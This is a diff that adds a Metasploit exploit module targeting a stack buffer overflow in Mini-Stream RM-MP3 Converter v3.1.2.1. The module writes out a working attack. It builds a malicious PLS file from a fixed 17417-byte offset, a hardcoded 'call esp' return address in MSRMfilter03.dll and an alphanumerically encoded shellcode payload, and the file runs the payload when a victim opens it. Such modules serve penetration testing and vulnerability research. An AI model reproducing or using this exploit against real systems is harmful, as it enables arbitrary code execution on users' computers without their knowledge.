Add feature #5779

modules/exploits/windows/fileformat/mini_stream_pls_bof.rb

@@ -0,0 +1,89 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GreatRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',
+			'Description'    => %q{ 
+				This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
+				Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim 
+				opens the malicious PLS file.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Madjix',           # original discovery
+					'Tiago Henriques',  # metasploit module
+					'James Fitts'       # clean ups
+				],
+			'Version'        => '$Revision: $',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],
+					[ 'BID', '34514' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+					'DisablePayloadHandler' => 'true',
+				},
+			'Payload'        =>
+				{
+					'Space' => 1500,
+					'BadChars' => "\x00\x09\x0a",
+					'DisableNops' => 'True',
+					'StackAdjustment' => -3500,
+					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
+					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
+					'EncoderOptions' =>
+						{
+							'BufferRegister' => 'ECX',
+						},
+				},
+			'Platform' => 'win',
+			'Targets'        =>
+				[
+					[
+						'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
+						{
+							'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
+							'Offset' => 17417
+						} 
+					]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Jul 16 2010',
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
+				], self.class)
+	end
+
+	def exploit
+
+		pls =  "http://"
+		pls << rand_text_alpha_upper(target['Offset'])
+		pls << [target.ret].pack('V')
+		pls << rand_text_alpha_upper(8)
+		pls << payload.encoded
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+
+		file_create(pls)
+
+	end
+
+end